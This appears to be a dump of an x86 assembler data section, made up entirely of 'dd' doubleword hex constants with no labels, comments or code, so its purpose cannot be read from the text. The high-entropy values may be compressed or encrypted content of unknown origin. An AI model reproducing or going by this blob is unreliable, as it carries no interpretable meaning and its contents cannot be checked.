dd 0C687BE94h, 0A0D639DCh, 0C2ED1294h, 0BDAE2A00h, 0A632169Ch
dd 740203FCh, 0E3F0E04Bh, 64CDC9A1h, 3F05C134h, 219910B3h
dd 0AFFACE0h, 2B3D844Ah, 9FF61CDAh, 5828CA4Dh, 94A98498h
dd 0F558A444h, 12B55400h, 0CA059279h, 0EF48C0C7h, 8648FDF1h
dd 58DE4405h
dd 8041F7ADh, 0B2A6A7EEh, 228C4087h, 1740B04Bh, 4FFE1C98h
dd 0E1835B12h, 8472B880h, 38A37EB3h, 68803092h, 0C3255D36h
dd 8924A967h, 607130Dh, 32F014C1h, 706AB8h, 573E84E2h
dd 0C2E5223Bh, 5578AF62h, 676075ACh, 4F7C91E6h, 0F800E77Eh
dd 65EFF8Eh, 0FE8132Fh, 599C07A9h, 86C1038Eh, 800B7C6Fh
dd 0E518B3F8h, 0B2FE8B21h, 0B0CC05F0h, 601B389Dh, 0FB044DF0h
dd 83C06499h, 90016F5Ah, 50A900B9h, 0EFD32189h, 0BB6EFE88h
dd 0F46A5EF0h, 143F39A0h, 16BED33Dh, 5CC03031h, 0E2B58145h
dd 714D6708h, 5488D043h, 0B2057F57h, 7DAED411h, 83EB4060h
dd 70ECF9CAh, 8FF8C035h, 2A075DFCh, 24B4EDE8h, 0C9003E13h
dd 1104C2ECh, 0EEE10089h, 57DD7561h, 0AD00BCB6h, 8BC54658h
dd 0C03D225Ah, 0D1491980h, 8309A1FAh, 6FE97F1Dh, 12FB00F0h
dd 0B8C47D8Eh, 0A8966324h, 20835201h, 0D020C657h, 0B9100ACh
dd 346F1A2Fh, 0C7FED6C5h, 0DD7CDF02h, 0C02D7522h, 8C4818h
dd 522CBA07h, 3BE410E8h, 0AAAFCCA8h, 0DC00A64Eh, 737BBA90h
dd 89D005A1h, 416F16D7h, 47345D9Ch, 0D052FD40h, 4D493E8Bh
dd 0B45A0670h, 1294C09h, 0E2241342h, 50C4070Ch, 0DE3C57A8h
dd 9CF96900h, 83B78F08h, 17347E03h, 1FE3CEF6h, 16C7DC88h
dd 0FF380551h, 8C24C02Bh, 0F226E8D6h, 0D300D447h, 0C4A86242h
dd 60C702B3h, 0C239C358h, 80A03BC2h, 0A5B984D8h, 6E3AEB0Bh
dd 0E78CC6CBh, 8BB0D0h, 4A130B0Dh, 6D9801E2h, 98BC7E79h
dd 0DDE71A05h, 6C6E9B00h, 57FCF8h, 3F25B238h, 43AA7348h
dd 44F15F0Fh, 5BD320F7h, 0FAE6095h, 7F21DDCh, 0B5844800h
dd 0C800A394h, 0D0D7A45Eh, 0AD5256h, 96BD382Dh, 0DEE6F0F9h
dd 3BA53Fh, 0D1D95578h, 8E1936h, 0B43568F8h, 1D9EB086h
dd 94501376h, 4701AB88h, 6B0CB98Dh, 0DFE0ED64h, 41D80075h
dd 677F177Bh, 3901ECADh, 0D72614A9h, 0CA00610Fh, 2A002B9Dh
dd 3F178BB5h, 0FFFBA1h, 0E5D18906h, 0D2CA776Ch, 18DF7305h
dd 189002ABh, 0EEEC17h, 0C5D57A7Eh, 3BBF4267h, 28265B00h
dd 0AB83B024h, 315D2F2Dh, 9991F880h, 92306Ch, 7D822600h
dd 27DAD4D2h, 8B7200EFh, 281D022h, 61C1854h, 9C425DE1h
dd 48929A88h, 6B9B3Ch, 1896C140h, 525C1E3Ch, 17120371h
dd 5449DA0Ah, 20DCC44Dh, 0E4011407h, 0A9C6436Ah, 0EBF8A619h
dd 3E37ECBh, 45F91A81h, 54A0FD2Ah, 0C300E646h, 87AB113Eh
dd 7995748h, 158D305Bh, 0CB7E601Ch, 8C584DB9h, 6EBC00B4h
dd 7F2752A8h, 0D6630278h, 999F2D1h, 0E49E7841h, 931E05ABh
dd 0E780CE01h, 345939EDh, 91C488DCh, 3ED72300h, 0DA8E25A0h
dd 182E003Bh, 0BDA18D15h, 6F7922E3h, 0E8EE85E6h, 0CDB40601h
dd 824A7786h, 165C01D8h, 624DE65Fh, 0C16FE94h, 6FACD12Bh
dd 840C6679h, 11BE111Eh, 3FB10151h, 47A44921h, 0D82574h
dd 0DB5A7EA4h, 41BE3Bh, 704B3C30h, 0C1780FCCh, 49250638h
dd 207CA0h, 4F41A474h, 11CBF3Fh, 642F9095h, 70031B59h
dd 0D0A9F03Ah, 9CC06012h, 0EDE3BDA0h, 2F0BC49Bh, 5CC60098h
dd 4D6BEB0Dh, 7A9C95h, 2CF6FE8Dh, 0E959B9DDh, 5096E0E5h
dd 59CCC532h, 0B3ECC499h, 51D8E0Ch, 6F706118h, 9262ED09h
dd 0E46CF8h, 0B68216DFh, 11D5A2EBh, 71911400h, 0E6BFC2AFh
dd 0D3A8013Bh, 9B1875E3h, 3473E877h, 953C1003h, 0F5044BE0h
dd 928EFC92h, 6C1480h, 0DF371704h, 6BDD1950h, 2D794700h
dd 1D28B3D5h, 0E3B0023h, 8A786FEFh, 44003F36h, 0D9A5843Ch
dd 5D0A376h, 8D8C8FA2h, 0FE8C05ABh, 4D70984Fh, 0D1E49030h
dd 2BD8ADBh, 9FBC3CCAh, 78CE4157h, 0EF677D00h, 50017C15h
dd 7495024Ch, 7231A961h, 0E388C0ADh, 1D22690Eh, 0B1204082h
dd 493E26h, 0F143AB72h, 97186209h, 130048B0h, 1087B090h
dd 72686Fh, 0C2053DC7h, 7AD106D4h, 0CCA6FC01h, 0C649C3B5h
dd 25BA1030h, 14C31124h, 80B1BBB9h, 0E5ECDE19h, 0FCAA95D1h
dd 44C901FDh, 0C4A9B1Dh, 0E05460D0h, 0C19F2404h, 7C0E5BC4h
dd 80C72171h, 0A2A14BC3h, 0C506E06Ch, 4EBBBA38h, 14974C29h
dd 1113C4h, 893D0A9Ch, 0CAE000D4h, 0EB32F73Fh, 0E712C503h
dd 72090994h, 9D5460EDh, 99530169h, 83722BB8h, 0BE1280B4h
dd 0B0F8DDC7h, 3D030085h, 7A93CD52h, 4B3DC8ECh, 5E007E2Ch
dd 67DE5C46h, 7320D34h, 57C178CAh, 917D9022h, 2E7CB53Ah
dd 0E9D1311Eh, 0A0154843h, 890CC0AEh, 24F47612h, 1DB7C2h
dd 466177EDh, 90091A3h, 0E03C19F3h, 3ED802h, 0E5016BAFh
dd 8D4C9559h, 18DE1C00h, 57350694h, 9B1A12CDh, 1164E0A9h
dd 1C09F40h, 0B391213Ah, 0EC8E0D0Ch, 0E500F51Ch, 0DFE36687h
dd 4C84F6Dh, 0A0BDD5CAh, 8DBFC0F9h, 6B05EAD6h, 72D3C174h
dd 0B5090B4h, 0B2552685h, 52A24080h, 0E90B0DF4h, 0E0114B7Ah
dd 54608D4h, 0CA945F2h, 0C6820001h, 0C180EAB9h, 0C8C57C09h
dd 8F08F02h, 9CB280C2h, 1D8CA4BEh, 9FAB2F0Bh, 0EAE81B4Ch
dd 0D1800E1h, 0FB131F16h, 5904AB8Eh, 64E2C6CAh, 7A2FBC0Fh
dd 5C6C0A16h, 16260FB9h, 0B8569C22h, 0AE9003E0h, 9A687E13h
dd 243C98B0h, 848CD731h, 0D72A966Bh, 5A9A0094h, 711666A7h
dd 0ED1DD4A5h, 8512BB80h, 0DC1C6F5Ch, 0C4D8CB29h, 0BC29D829h
dd 0C563D880h, 1109C8D3h, 0A8A56Ch, 83A684A4h, 814D395Ah
dd 0CC100E00h, 74466094h, 1DEED4Ch, 0B23F7E7Fh, 0C2D9811h
dd 0DD314383h, 54766102h, 5BF8215Ch, 0B513427Ch, 0DF43646Ch
dd 0EC60224Ah, 0C4034054h, 9675FFh, 0D9C77C61h, 910330C5h
dd 192FEC30h, 1208C426h, 4E66EB7Ah, 0DAA655C4h, 0EC0921FDh
dd 94B1D71Eh, 43FE26F4h, 38806968h, 5CBEC2FCh, 40F739C9h
dd 283DFF78h, 620EEC6h, 363A9DCBh, 0C80729D1h, 693CB27Ah
dd 0F645C760h, 0ECC42922h, 2EF01374h, 8F2B3ED8h, 0E1B77F9Ah
dd 0C7AE0192h, 7400F878h, 0C5CBD172h, 5F320728h, 184C51CEh
dd 0EC7EEE94h, 0C79BA202h, 4085183Ah, 3E52750Fh, 5800371h
dd 0CEC1BCAEh, 84035ADCh, 0A3197688h, 52E788FBh, 377E074Ah
dd 31C5472Fh, 44C0E91Eh, 1478A0E8h, 0EFA0EB0Ch, 0D180EDh
dd 7846735h, 58EE2739h, 881B974Bh, 49C09838h, 60309CD7h
dd 0DA21947h, 2836F805h, 1CC81C5Ch, 1D9E019Bh, 3739E0F4h
dd 0E1F0344Ah, 31D90103h, 88A46AA8h, 41E0B34h, 3FAC2368h
dd 4534B04Ch, 0D452082Eh, 0C29F5703h, 0E13BF89Bh, 7F4B5Ch
dd 2E94764Ch, 0E84C6290h, 0D87787F8h, 0F386E210h, 0D2700F1h
dd 0F055DF0h, 7902C2F2h, 0A23CF74Eh, 28B4A1DDh, 0F852D609h
dd 28B44571h, 0D69800FDh, 6AD730AAh, 0EA30966Dh, 59B7312Dh
dd 0DC2B00F8h, 0FC31B1B8h, 0A74D33CAh, 40DE0030h, 9181289Ch
dd 0BCF3009Bh, 1A0284ADh, 498DA78h, 801EA89Eh, 0DE7FDB41h
dd 7424EE66h, 0BACF2CDFh, 1DB622Ch, 35400Ch, 79D8DC81h
dd 75C2336Ah, 981D400Eh, 491520EAh, 4CDB51C1h, 0C40358FAh
dd 0C70759C2h, 8F0C0980h, 227A2B00h, 0AE3DE858h, 91A40660h
dd 0E068C39Fh, 9E523A00h, 2F6ECC0Fh, 82574F58h, 24C0AB80h
dd 5C00C91Ah, 575B95Ah, 2E2D6E4Fh, 1FE80B41h, 7B8B4058h
dd 6AE879B0h, 0C8D8A700h, 0A911B87h, 3ED026CBh, 0D3700F1h
dd 821E5CEh, 0A695501Ch, 89C5359Eh, 88A0DB16h, 0F07E0091h
dd 0DA4A48F5h, 740032DFh, 8BBAEA1Bh, 5C9DE615h, 1E00B316h
dd 8EF380E2h, 59772DEh
dd 0E8B062FCh, 48350745h, 50182C1Ch, 6670FDF4h, 6068AE25h
dd 12AC57B0h, 0A038FE3Eh, 80052238h, 33194382h, 100CC3h
dd 2B0B6FCEh, 24BB72BEh, 0C9CD7100h, 0E3D980D5h, 0E19A00CFh
dd 6E4DFBF7h, 0B90044EEh, 8FB4313Eh, 7B9447h, 0A49E1145h
dd 0E0A0E932h, 6E44600h, 516444D7h, 6A9C092Eh, 18200F41h
dd 0EB677F4h, 8F361109h, 1AAC00FDh, 0B14497A3h, 99BA884Ch
dd 0E9F8028h, 932C41B0h, 89F191E9h, 8862D852h, 6500D8B0h
dd 5D5E1D3Ch, 19F46BD3h, 0FB474500h, 3600F68Dh, 277389FEh
dd 30EA1412h, 0A24829B3h, 0AD305AF3h, 0C6E111FBh, 0CC79003Bh
dd 27C3D2CBh, 68F4BC24h, 2D7D100h, 6E3428E4h, 0C95909D3h
dd 40009B43h, 470F3A4Ch, 53F47500h, 0E83C4F26h, 0A09CC9h
dd 14949261h, 4E0058F7h, 0BE1C373Bh, 904CD949h, 73B70060h
dd 0D2A29CCh, 1E018682h, 0ACA2CEA5h, 6083F7B8h, 5A3315A9h
dd 543C72C8h, 4960F3F0h, 0C0B3E2B0h, 0BAB70034h, 0E90E7FA3h
dd 23009FC5h, 1A67B838h, 0A54801h, 51703345h, 78AECDE1h
dd 637890Eh, 0CFCCD861h, 1CA2FEC1h, 558C2AFh, 0F312C6h
dd 6B7223C0h, 900819Ch, 9D1AC96Fh, 12BD2FA0h, 9FB504h
dd 3ABFD8E5h, 0CF00C0BCh, 8D7C40DCh, 565F0h, 0D3249CD9h
dd 4BC29348h, 80770800h, 0F44D41F5h, 37A706DFh, 1A47238Ah
dd 0A857201Dh, 0F314D2h, 97868EBCh, 0CD18892h, 0DB76474Fh
dd 0FD066B20h, 0E4210EE9h, 0C660071Fh, 2ADCB781h, 7E868300h
dd 1CDDA23h, 0EF3A0322h, 0F89A99Dh, 209821F1h, 0A03B078h
dd 1CA38211h, 6C8F88FDh, 77D514E5h, 5D00BC76h, 0C63AB85Fh
dd 0E95A908Dh, 0DA7028C7h, 31647Bh, 294D42BCh, 0F540ACA6h
dd 30D31651h, 0E4FAB21Ch, 26C0C25Ch, 1B9A8B4h, 7E121C29h
dd 2AEDAA98h, 3B4BB187h, 71DB10A7h, 0E00D4DCh, 0AA647395h
dd 0DEEE8BB8h, 25ACC4B8h, 5654437Eh, 0B840C0B5h, 2C1100A1h
dd 14098988h, 63007793h, 5E5CF801h, 342969h, 21BE900Dh
dd 8877E7Ah, 0D8C0564Fh, 0DC8494Dh, 0C1BB29E4h, 104560B9h
dd 5A898C96h, 9764D0C3h, 0FEF98D40h, 608CEB4Eh, 0DC13844h
dd 4A8479AAh, 13404009h, 0E1F7118Ah, 32361515h, 37510FC0h
dd 0F01E51BAh, 0E34140CAh, 0CFBD3DDCh, 95252C00h, 801336B7h
dd 0F81F009Dh, 0D04A05FAh, 0D20133A9h, 381A86BDh, 0D828F1A4h
dd 6CE5E900h, 6556B580h, 72C8A863h, 90B89D82h, 0DB749980h
dd 6D0412D4h, 11F67A41h, 7FCE0h, 0B94C625Bh, 4A7E049Ah
dd 54A31401h, 0F315F6BDh, 480A85F0h, 0D83B607Ch, 92EE3F9Eh
dd 9C480746h, 4A73B388h, 0BE00117Eh, 0F0F2FC9Bh, 228073Dh
dd 7EFEFF1Eh, 0AD414554h, 3A1BD4CDh, 0E1016F76h, 0ACD2F98Ch
dd 0BDDCB42Ah, 78D80139h, 6974B22h, 70E2FD35h, 0BE1D383Ch
dd 2C0C1C6h, 13B073A4h, 32B10FDEh, 801ED745h, 0B69FEB8Dh
dd 0C4071F99h, 0B05E65DFh, 36723780h, 2BDE27CDh, 318008C0h
dd 0ED45B502h, 6ACB6C10h, 62105EFCh, 0A400083Bh, 26768C22h
dd 174FCF2h, 3CA97CECh, 95E2D8F6h, 0A84CFA05h, 0A040530Bh
dd 939B5723h, 8DE7A0C1h, 194113CFh, 5EB8048Fh, 0FAAF4934h
dd 0E2490058h, 41EDAAA3h, 0CB0098BBh, 8D2CBF76h, 18891E99h
dd 0E8ADEC4Dh, 1600834Ah, 0B425E6DDh, 786E1B66h, 76A02809h
dd 569F00BCh, 0C39F347h, 0D313C77Fh, 7800AD68h, 0AE0558EBh
dd 0BB450EF8h, 0E4A307A7h, 858A2432h, 4C5E0042h, 0EE181E01h
dd 50803FB7h, 0B466E7AEh, 2800D5D0h, 106C8B0Fh, 50C82C90h
dd 9A39C096h, 162F0000h, 2A1C5B43h, 9A007DF8h, 0F4E32DADh
dd 7A2694C8h, 4674C88h, 2E11BF00h, 3EEB6B13h, 82190B00h
dd 0CEAE921Ch, 3F4A00B8h, 0D9BB9B02h, 0DE71262Dh, 0C66B6C00h
dd 66127D47h, 0FD40068h, 70E1A732h, 7B508798h, 153952A8h
dd 33D9EACh, 7329A6C0h, 118E80h, 0FF946D6Ah, 67FB5A42h
dd 8A329000h, 9C180D8Dh, 6660E74h, 0EF205DE3h, 0E2B347CAh
dd 0BCB0AE00h, 0A5AB83A9h, 0DB900E4h, 0AFE96855h, 14B07BD3h
dd 791A7100h, 26B0CC15h, 0F8E2079Eh, 6FA83D1Fh, 0A1DC0AA2h
dd 0C998D868h, 40F825Ch, 0F99B4ACh, 0C4DA2C80h, 291810D6h
dd 2B0207FDh, 0DC85E3F7h, 0F0E268C1h, 4A2899E3h, 2501CC4h
dd 5F1EAC6Dh, 284988D2h, 570EC4BFh, 0B49758h, 29340D8h
dd 56E5C94h, 5E8CB9CDh, 2294E814h, 0E4621399h, 0ECF480C5h
dd 0F700425Ah, 4EF8B756h, 0E8EA9AEh, 61949FDh, 804C5DE7h
dd 0E436A748h, 72E39500h, 0FC2CAB5Ah, 0A2D70062h, 574283B8h
dd 0CD09E7A5h, 0E3DA86F7h, 9B6FC8B4h, 621008Ah, 0B585DC0Eh
dd 504A880h, 0CB55B2BFh, 0E6443C80h, 287E05FCh, 803C222Eh
dd 0C6D1F953h, 0B9E29BE0h, 0C4B01409h, 0DDF0008Bh, 109EE20h
dd 0B31097EAh, 607C162Bh, 0D70018C1h, 95BB6E13h, 0B6320Eh
dd 7A6CAD54h, 9F193912h, 2D049195h, 98340E10h, 72FBE126h
dd 0CAEFD00h, 26A25E1Ah, 1E081833h, 20D7018Bh, 0FCC3049Fh
dd 97F4E0h, 0E314DE84h, 0FC500D1h, 579BB9C8h, 2014FF8h
dd 0E954EB43h, 3FD0BBh, 0B499B8CCh, 69161487h, 0F0018AB3h
dd 930585A2h, 15FC9C0h, 0BE8BA6C0h, 3B0E8CFBh, 6EC45Ch
dd 8FB8A807h, 72779F20h, 0ADCB4CCFh, 0A7058A00h, 0B0741AEAh
dd 59F60B04h, 0A781DF62h, 4AE4964Ch, 4661285Ah, 0CB66009Ch
dd 6AA5CA31h, 80E2216h, 0BDE96B32h, 0A3EEAFC1h, 0D43859CDh
dd 637C0A2Ch, 60020886h, 0B735629Fh, 1D8F6C1h, 36338109h
dd 0AA442415h, 16CFE4Dh, 80BF96ECh, 0DAED9789h, 6B003C79h
dd 3E94520h, 250F6536h, 9B4E56h, 3C214319h, 0FD331310h
dd 0BC0315Fh, 32B40018h, 82861EBCh, 0DAAB030Ch, 1EE0BE51h
dd 6F009511h, 8358C6C0h, 82160h, 31B49072h, 0DE6B640Ch
dd 9457AC07h, 0FBC43CF2h, 421A34E0h, 0CC017336h, 8C2119EDh
dd 0B180AD1Fh, 6B4688A5h, 7498F179h, 0C9C02297h, 72D90121h
dd 0B93FC460h, 0F56F1A00h, 91239F43h, 0DF2500AAh, 0B850D44Ah
dd 4102ADBCh, 0FB18083Dh, 0E374E169h, 16217C4h, 394CBB3Ch
dd 6CC9F702h, 2CEB09D8h, 2310006Dh, 965ADBCFh, 83A91E5Ch
dd 26E58F78h, 26272158h, 0F5000DF8h, 2BDAB2A8h, 2E254C4Fh
dd 9AF2A303h, 71D06AC0h, 1004329h, 0F7F15BA7h, 38A02F48h
dd 7008F92h, 0B0335CE2h, 44007A34h, 0D3E94BFCh, 0BD2CEFh
dd 5D681C7Dh, 0A18DB924h, 0DB2F8E03h, 0B0986A4Bh, 3549B7h
dd 0BA67E188h, 0EB156236h, 16A45759h, 10E07E17h, 70A60B68h
dd 0E870584Fh, 0BDAD4250h, 33E32900h, 5CCBFF05h, 2666002Bh
dd 1F4D3048h, 36001B35h, 18651D76h, 31F4787Ch, 0EF88917h
dd 9C56C672h, 0A85342h, 0DF76DCCEh, 0D4CF6800h, 0B66BA135h
dd 974D208Ah, 0F4EE3C07h, 0C760CAD3h, 0B46EAC3Dh, 0E84900E8h
dd 0DCEFA8A1h, 977DA700h, 744014B8h, 0E2F47FF2h, 33DE00DBh
dd 958D9804h, 7A1DFE9Fh, 4B07807Bh, 44A0063Ch, 4BB6F715h
dd 0CADC0288h, 8400D975h, 1ED82270h, 3F3B07CFh, 0AF7F1480h
dd 0A04CC447h, 31BCDB03h, 0B011D2F1h, 5B7B18h, 0D78F2AD3h
dd 0A63ECBE7h, 0BB02FF9h, 0DFAC00EDh, 75981E17h, 4F009172h
dd 6AF40330h, 0AD02C4h, 857D2B5Eh, 2393CBF0h, 66498F74h
dd 8B7C00ECh, 42B4EA9Fh, 6FE40037h, 77737202h, 8216621Ch
dd 0EF002C18h, 0A40C3C2Ah, 2652033Eh, 0D06BC4BEh, 0CD7CEA88h
dd 95FFEB0Eh, 0A68220F8h
dd 6A21193h, 793E1CCEh, 7F1D681Ah, 0F89EBD99h, 0E5C2E606h
dd 21B61208h, 9FC01EF2h, 3C91F0Ah, 7A590439h, 31FEA109h
dd 1B202099h, 60C25B02h, 4DCE081Ch, 63005146h, 0EB5560FBh
dd 3FD3D2Dh, 81EFC58h, 85B78516h, 2A080030h, 0E602E3CAh
dd 1B3A9F18h, 0D7C899h, 4D43160h, 0F9CA7E0Ch, 8D951A00h
dd 0B1FE16C6h, 0B963009Dh, 4A1D939Fh, 99602EFAh, 5AEA8340h
dd 0A10473C0h, 87F20658h, 0A05F7FB2h, 1892385Dh, 0DAA43D6Ch
dd 0F104E080h, 0AEF36649h, 7C14E800h, 1C3E825Bh, 5FA0012h
dd 0E0BA7AB4h, 0C51D73C7h, 0EB8077C2h, 0DE429D06h, 0D49500F8h
dd 9858E4DDh, 0C001BCDh, 2D11B807h, 79EA1A3Fh, 0DBD9C006h
dd 4B865FB9h, 9332D11Dh, 77E0A000h, 9F259Eh, 8907EF16h
dd 0D23BF66h, 43CC802h, 81BE8E54h, 989060C8h, 0F24FBC50h
dd 0C3A50728h, 0F0242CF1h, 16968E2h, 20013FB0h, 0D8BE38Ah
dd 308F191Dh, 5038B482h, 2900F725h, 6798A4EFh, 0FD209Ah
dd 0DA877A55h, 0B13E04B5h, 0B4C8A803h, 933697h, 414A8B71h
dd 3DE81F7Dh, 797E6D7Ch, 8C5F4800h, 8D2E40E4h, 47C7Ah
dd 25C5205Dh, 44619DBEh, 0BA6A2916h, 30FBE305h, 0F933B081h
dd 174C330h, 7F1D65F7h, 9281190Eh, 3000BEA9h, 5D6FC83Fh
dd 9DC6008Ch, 0D1A2B352h, 91004045h, 5F4CF80Fh, 7F1B2A0Dh
dd 1E4BE034h, 0F7CEDC88h, 15EBB029h, 0A003102h, 9278CB75h
dd 60B23516h, 5F27208Bh, 303DBE08h, 88228F8Eh, 0A349E037h
dd 0F0FFCDC6h, 0B131002Fh, 0C1D0CEA0h, 0D9E8C213h, 0C8ED08C0h
dd 301FA2FEh, 0B0305BB1h, 500A70Ch, 9427072Ah, 7A08949h
dd 0DAA28555h, 0BA808E17h, 0B7290415h, 0EA10286Ah, 0D2D17B03h
dd 5F34C0A4h, 30CF18D5h, 7C449066h, 58E37700h, 6045DAE0h
dd 5AE718E2h, 0C9B0E027h, 0F326BE13h, 0ED1E8300h, 1D31C241h
dd 3E6648F8h, 4A1107B1h, 84C188Dh, 6E191B99h, 1D664F81h
dd 46034E0Ah, 4456129h, 0DAFC5286h, 18A97C10h, 21334E01h
dd 90188A07h, 4AB8BEDDh, 0C09CCA6h, 921D6721h, 1839A90h
dd 3E3652D6h, 0A70FFD19h, 80FDE55Fh, 3DF2E857h, 3000CDC1h
dd 813A5C98h, 30424567h, 3189D5BAh, 7C00F0E7h, 0A613D15Ah
dd 0E8100952h, 1621C0CDh, 2443F0FFh, 0E7947700h, 9555C453h
dd 60DEF471h, 4F7DD1D8h, 6E00A92Eh, 7BCD14AEh, 1F2F8573h
dd 40EB0B94h, 0A1B0541Ah, 80A6D3C5h, 0F4B93C60h, 2F9AB5Ch
dd 8F5DE8BFh, 9490D429h, 0A603B0FFh, 0CE7CDC7Dh, 0DFF5E13Fh
dd 0C22100E7h, 594E8909h, 33332A15h, 0C80921h, 89016221h
dd 5B6997E7h, 0D4729500h, 0FAE03A42h, 0CDDE3335h, 98D08629h
dd 6A00660Bh, 9CF86F9Eh, 60B9A396h, 1AF089D8h, 0A83B54FAh
dd 7402730Ah, 9AE15DBCh, 11E09D2Dh, 20C09D1Ah, 0A3EAF1AEh
dd 5DC206CAh, 71DAB8F4h, 75073470h, 69599C50h, 0B4CE5A70h
dd 4FC62030h, 89020246h, 9EBEE290h, 70170F31h, 776F9091h
dd 1E81803h, 2EC0B944h, 0F76269h, 8E7E0A13h, 0C50319DBh
dd 3A0FE4C8h, 2A56D8D1h, 0C8B0C47h, 2751BD35h, 1872813Ch
dd 0D311DBBFh, 0EC4A5451h, 0E15C143Dh, 2EC8C9Dh, 483DEE8Ch
dd 10032082h, 518A5908h, 31C9DCC0h, 804729CDh, 986138E0h
dd 0B84E4550h, 8F024670h, 8EBEE090h, 70110331h, 0B58C4097h
dd 0D43975DDh, 31FA1902h, 47E499C9h, 0B47E01CFh, 0DD810CCh
dd 8753C85Ah, 1588A04Dh, 14A4C84Ch, 3F64B4DCh, 0E28CD4DEh
dd 0CB44EF00h, 0FBB0DC64h, 337162h, 0F69584D0h, 36E8269Bh
dd 855340Ch, 45CB4946h, 0DF54F03Fh, 0EB7161C0h, 49AE4C3Bh
dd 297FA4D0h, 8C0C98Bh, 529F3858h, 0DD3B4170h, 4A8E00ACh
dd 0B01A6FAEh, 1C736704h, 6F807B48h, 0D03D2031h, 92A4DBh
dd 0A1389CDAh, 3AB819ABh, 52DE7F0Fh, 5E91381Fh, 0B3DC88D4h
dd 2F692666h, 624A40C8h, 3DE621C5h, 0DB65AC04h, 4D3C0812h
dd 83F0E0C0h, 2AD9465Ah, 0F8F48437h, 0B1DCF000h, 448B33E3h
dd 7DF2602h, 0D1388420h, 804D8F8h, 595B8908h, 4ECAC40Dh
dd 5A890067h, 0A86B2B7h, 3E5BD36Bh, 60A0A498h, 5E6144A7h
dd 0B0F63Ah, 5C3463D5h, 3FB98AE8h, 0D3831029h, 128870ACh
dd 7F40829Ch, 233F4A04h, 31410319h, 0AEB8D53Ch, 86245E85h
dd 4789F4BBh, 540890B9h, 0B60E0020h, 76521155h, 0C1C14EFAh
dd 0A6DA1525h, 48B951F4h, 0B084240Fh, 0D0224A26h, 5518E128h
dd 0FA20492Fh, 1C41C034h, 0A32EC242h, 0DE110700h, 0FDEBFF02h
dd 9F4932D4h, 3C66B390h, 7C020346h, 36BEE790h, 7D00E847h
dd 8C719084h, 0FFC99B9h, 0B60061DCh, 56FAB374h, 3D3E6F14h
dd 1C8C77E8h, 5359890Ah, 61EC381Dh, 0CD890200h, 72E5AEE3h
dd 285D581Eh, 0C86AEBC0h, 5905A112h, 3FFFB273h, 0D623302Bh
dd 2C58D285h, 0B1349443h, 0AA210AA1h, 11884936h, 907D8006h
dd 0A73EBEE6h, 857200F8h, 65428A90h, 5D280F01h, 9C5DC89h
dd 0D3472185h, 0E5908852h, 0C7814601h, 6A553785h, 0A442B035h
dd 0F0E13040h, 465A8E3Ah, 6021CA37h, 0C814F0F9h, 0F324D700h
dd 8DE2B70Eh, 0AABCA06Ah, 0E6CE145Dh, 6842F028h, 2B300DE2h
dd 715C0038h, 0CE41C1CBh, 0BA4C69DEh, 0F2DF8114h, 0FCC9C8Fh
dd 88A5C74h, 0A4D7DE15h, 0CA57BC00h, 0E266F1E5h, 5A019CECh
dd 3352219h, 4AD4828Fh, 907726BBh, 0D81B61CCh, 12D3CCBEh
dd 5DBA6300h, 34EA0DACh, 5355F416h, 8800A04Bh, 9247F609h
dd 1605350Fh, 4FE343E4h, 0B012EC8Ch, 485100E7h, 0E19E86Ah
dd 500B470Bh, 2634EDh, 273740A8h, 0DC31C5D9h, 774498CFh
dd 8B18CC7Fh, 257948F9h, 71E70044h, 0D5C6BBB3h, 8CC73CAh
dd 6EC2139h, 526EE74Ch, 0B300490Ah, 7B09921Eh, 0F4DA8205h
dd 0C16E0097h, 4336E0B0h, 6F02595Ch, 0FAA54641h, 0B01F2730h
dd 942609FBh, 0FDE16000h, 0E303969Eh, 92810958h, 0AC1D3677h
dd 0BF8CCA11h, 2B0CC478h, 71205AD2h, 0C58A3134h, 29C2B929h
dd 810F3D10h, 4276841Eh, 0AFE8B691h, 47D50087h, 0B3734AE2h
dd 0ED17A0A1h, 14603276h, 60E02941h, 72AE48D2h, 4C56FDC6h
dd 8F771FB0h, 0E1B2B102h, 47146257h, 67C844FCh, 0E5F3800Fh
dd 148517F4h, 64C4B434h, 4F77CF22h, 977A2600h, 0F553C90Bh
dd 0CBD400B5h, 0BF437514h, 884C34B8h, 5BA58000h, 90294A9Eh
dd 0D1FC919Ch, 12B7180Dh, 22F8089Eh, 0DA603F0Ch, 28EC4D66h
dd 6FB1F900h, 0A3922E55h, 7C360540h, 8022BA45h, 3F1A5462h
dd 0C5B93D18h, 0C33C1h, 1146E0CCh, 0D59C2C1Fh, 0FD75C300h
dd 311C6DF8h, 0A29D0032h, 0E35DE582h, 21E8A1DEh, 30D4F901h
dd 88CE5A81h, 18F83028h, 0ED20FF8Ch, 107F0247h, 513DB30Fh
dd 4E1BB098h, 49940B00h, 0A942E8FEh, 378000B5h, 0E45E0408h
dd 0B22CB08Ch, 0D384085Fh, 0E4892247h, 588CB445h, 0FC910064h
dd 48CFBBBCh, 41075766h, 21EA7723h, 0F041F607h, 34225ED2h
dd 8464216h, 0E5802CF8h, 99D7EB34h, 5081097Dh, 80ABF186h
dd 1B56A401h, 5D298024h, 46C10FEFh, 0C980E7B9h, 65CFEC4Ah
dd 0D61EC45Bh, 3A00B69Dh, 63D88D10h, 17545C1Bh, 412D058h
dd 34180227h, 0D4E4DABDh, 8550524Dh, 0D8943FB9h, 0CAF2CCA2h
dd 20FDD30h, 6BBAA407h, 0D0520676h, 0D991DF00h, 31614D6Ch
dd 0BADD7B88h, 2DAA33C4h, 0C098AF81h, 3901DF1Ah, 8916195Eh
dd 29805C3Dh, 2363DE28h, 0C002B0C6h, 30498F3Eh, 0BEAC8118h
dd 299F5855h, 0A2880EF8h
dd 5F518E81h, 12F42D56h, 8CDAA874h, 3022D8C7h, 0E2A41C85h
dd 0C35E5300h, 0C784DC81h, 4F891321h, 0FF040846h, 44D00BC7h
dd 99296559h, 394606Ch, 0E016789h, 0D36E8D75h, 0A4092C5Dh
dd 88A66CB2h, 0D3DE8506h, 35310011h, 5A246A91h, 86004A56h
dd 98D792EDh, 2A6EF50h, 4E4CA110h, 86C15FA9h, 0E438807Ch
dd 607B114Fh, 12709AE9h, 319ECA2h, 5B78A400h, 0B17BACA0h
dd 5FF1E719h, 21DC7380h, 51900120h, 0E5DD8A98h, 0F1BDF4E4h
dd 94227F0Fh, 0E021A076h, 0E43D26C1h, 0DA1B3DB3h, 34685307h
dd 0B9B1A058h, 0FD092B59h, 0CBB2DC8Fh, 4455FA00h, 36FA33C4h
dd 7AB049F9h, 3A007079h, 2FEDE91Bh, 1875A1CFh, 4955E1B1h
